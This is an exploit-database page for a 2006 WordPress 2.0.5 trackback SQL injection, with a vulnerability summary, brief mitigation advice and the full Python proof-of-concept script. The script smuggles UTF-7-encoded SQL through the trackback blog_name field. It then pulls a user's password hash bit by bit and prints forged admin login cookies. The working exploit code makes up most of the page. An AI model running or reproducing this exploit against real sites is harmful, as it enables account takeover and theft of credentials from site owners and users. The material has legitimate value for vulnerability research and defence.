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vendor:
Wordpress
by:
Stefan Esser/Hardened-PHP Project
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Wordpress
Affected Version From: Wordpress 2.0.5
Affected Version To: Wordpress 2.0.5
Patch Exists: NO
Related CWE:
CPE: a:wordpress:wordpress:2.0.5
Metasploit:
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Platforms Tested:
2006

WordPress 2.0.5 – Trackback UTF-7 SQL injection exploit

This is a proof of concept code for exploiting a SQL injection vulnerability in Wordpress 2.0.5. The vulnerability allows an attacker to execute arbitrary SQL queries by injecting malicious code through a trackback request. The exploit specifically targets the use of UTF-7 encoding in the trackback parameter, which can be used to bypass input sanitization and inject SQL commands. The code retrieves the cookie hash from the target Wordpress blog and prints it to the console.

Mitigation:

Upgrade to a patched version of Wordpress. Avoid using trackback functionality or disable it completely if not required. Apply input validation and sanitization to prevent SQL injection attacks.
Source

Exploit-DB raw data:

#!/usr/bin/python
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#  _  _                _                     _       ___  _  _  ___ 
# | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
# |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|  
#                                                        
#######################################################################
#         Proof of concept code from the Hardened-PHP Project 
#
#                         NOT FOR DISTRIBUTION
#                    PLEASE DO NOT SPREAD THIS CODE
#
#######################################################################
#
#                        -= Wordpress 2.0.5 =-
#                Trackback UTF-7 SQL injection exploit
#
#                   beware of encoded single-quotes
#
#######################################################################

import urllib
import getopt
import sys
import string
import re
import time
import datetime
import md5

__argv__ = sys.argv

def banner():
    print "Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit"
    print "Copyright (C) 2006 Stefan Esser/Hardened-PHP Project"
    print "            *** DO NOT DISTRIBUTE ***\n"

def usage():
    banner()
    print "Usage:\n"
    print "   $ ./wordpressx.py [options]\n"
    print "        -h http_url   url of the Wordpress blog"
    print "                      f.e. http://www.wordpress.org/development/"
    print "        -p id         id of posting to exploit trackback (default: 1)"
    print "        -i id         User id to steal password hash for(default: -1)"
    print "        -u username   username to steal password hash for (default: ...)"
    print ""
    sys.exit(-1)
    
def determineCookieHash(host):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to retrieve cookie hash"
    
    try:
        req = wclient.open(host + "/wp-login.php?action=logout")
    except IOError, e:
        if e[1] == 302:
            # Got a 302 redirect, but check for cookies before redirecting.
            # e[3] is a httplib.HTTPMessage instance.
            if e[3].dict.has_key('set-cookie'):
                cookie = e[3].dict['set-cookie'];
                chash = cookie[string.find(cookie, "user_")+5:]
                chash = chash[:string.find(chash, "=")]
                print "[+] Cookie hash found: %s" % chash
                return chash

            
    print "[-] Unable to retrieve cookie... something is wrong"
    sys.exit(-3)
    return ""
    
def determineIsMbstringInstalled(host, pid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to check if mbstring is installed"
    
    params = {
        'charset' : 'UTF-7',
	    'title' : '+ADA-'
    }
    
    try:
        req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print "[+] ext/mbstring is installed. continue with exploit"
            return 1
    
    content = req.read()
    
    if string.find(content, 'error>1</error>') != -1:
        print "[-] Illegal posting id choosen, test impossible"
        sys.exit(-2)
            
    print "[-] ext/mbstring not installed... exploit not possible"
    sys.exit(-2)
    return 0
    
def determineTablePrefix(host, pid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to determine mysql table prefix"
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : '+ACc-ILLEGAL'
    }
    
    try:
        req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print "[-] Table prefix cannot be determined... exploit not possible"
            sys.exit(-2)
            return ""
    
    content = req.read()
    
    f = re.search('FROM (.*)comments WHERE', content)
    if f != None:
        prefix = f.group(1)
        print "[+] Table prefix is: %s" % prefix
        return prefix
    
    print "[-] Table prefix cannot be determined... exploit not possible"
    sys.exit(-2)
    return ""

def lockTrackbacks(host, pid):

    now = datetime.datetime.utcnow()
    now = now.replace(microsecond = 0)
    
    future = now + datetime.timedelta(days=1)
    future = future.replace(microsecond = 0)
        
    wclient = urllib.URLopener()
    
    print "[+] Connecting to lock trackbacks"
    
    author = "Mark Mouse"
    author_email = "mark@incidents.org"
    author_url = ""
    author_ip = "210.35.2.3"
    agent = "Internet Explorer"
    futuredate = future.isoformat(' ')
    futuredate_gmt = future.isoformat(' ')
    date = now.isoformat(' ')
    date_gmt = now.isoformat(' ')
    
    sql = "%s','%s','%s','%s','%s','%s','','0','%s','comment','0','0'),('0', '', '', '', '', '%s', '%s', '', 'spam', '', 'comment', '0','0' ) /*" % \
          ( author , author_email , author_url , author_ip , date , date_gmt , agent, futuredate, futuredate_gmt )
    
    sql = string.replace(sql, "'", "+ACc-")
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : sql
    }
    
    try:
        req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print "[-] Table prefix cannot be determined... exploit not possible"
            sys.exit(-2)
            return ""
    
    content = req.read()
    
    return ""

def checkUsername(host, pid, prefix, name, uid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to check if user %s is present" % name
    
    if uid != -1:
        sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE ID='%s' /*" % (prefix, uid)
    else:
        sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE user_login='%s' /*" % (prefix, name)
    
    sql = string.replace(sql, "'", "+ACc-")
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : sql
    }
    
    req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    
    content = req.read()
    
    
    if string.find(content, 'Duplicate') != -1:
        return 1
    if string.find(content, 'Doppelter') != -1:
        return 1
    
    if uid != -1:
        print "[-] Error user_id invalid"
    else:
        print "[-] Error username invalid"
    sys.exit(-2)
    return 0


def bruteforceBit(host, pid, prefix, name, uid, bit):

    wclient = urllib.URLopener()
        
    nibble = (bit / 4) + 1 
    bit = (bit % 4) + 1
    
    sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE " % prefix
    
    if uid != -1:
        sql = sql + "ID='%s'" % uid
    else:
        sql = sql + "user_login='%s'" % name
    
    sql = sql + " and substring(reverse(lpad(conv(substring(user_pass, %d,1), 16, 2),4,'0')),%d,1)='1' /*" % (nibble, bit)
    
    sql = string.replace(sql, "'", "+ACc-")
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : sql
    }
    
    req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    
    content = req.read()
    
    if string.find(content, '15 seconds') != -1:
        return 0
    if string.find(content, '15 Sekunden') != -1:
        return 0
    if string.find(content, 'Duplicate') != -1:
        return 1
    if string.find(content, 'Doppelter') != -1:
        return 1
    
    print "[-] Error retrieving password hash: unexpected reply at bit %d" % bit
    sys.exit(-2)
    return ""

def bruteforce(host, pid, prefix, name, uid):

    phash = ""
    
    print "[+] Retrieving the password hash bit by bit"
    
    for i in range(32):
        nibble = 0
        for j in range(4):
            nibble = nibble | (bruteforceBit(host, pid, prefix, name, uid, i*4+j) << j)
        phash = phash + "%x" % nibble
        
    return phash
        

def main():
    try:
        opts, args = getopt.getopt(sys.argv[1:], "h:i:u:p:e:d:")
    except getopt.GetoptError:
        usage()

    if len(__argv__) < 2:
        usage()
        
    username = 'admin'
    password = None
    email = None
    domain = None
    host = None
    pid = 1
    uid = -1
    for o, arg in opts:
        if o == "-h":
	        host = arg
        if o == "-p":
            pid = arg
        if o == "-i":
            uid = arg
        if o == "-u":
            username = arg
        if o == "-e":
            email = arg
        if o == "-d":
            domain = arg
    
    # Printout banner
    banner()
    
    # Check if everything we need is there
    if host == None:
        print "[-] need a host to connect to"
        sys.exit(-1)
        
#    if username == None:
#        print "[-] username needed to continue"
#        sys.exit(-1)
#    if password == None:
#        print "[-] password needed to continue"
#        sys.exit(-1)
#    if email == None:
#        print "[-] email address needed to continue"
#        sys.exit(-1)
#    if domain == None:
#        print "[-] catch all domain needed to continue"
#	    sys.exit(-1)

    determineIsMbstringInstalled(host, pid)
    chash = determineCookieHash(host)
    lockTrackbacks(host, pid)
    
    prefix = determineTablePrefix(host, pid)
    checkUsername(host, pid, prefix, username, uid)
    
    phash = bruteforce(host, pid, prefix, username, uid)
    
    print "[+] Done..."
    print "    The password hash is %s" % phash
    
    m = md5.new()
    m.update(phash)
    cphash = m.hexdigest()
    
    print "    The logincookies are:"
    print "       wordpressuser_%s=%s" % (chash, username)
    print "       wordpresspass_%s=%s" % (chash, cphash)

if __name__ == "__main__":
    main()

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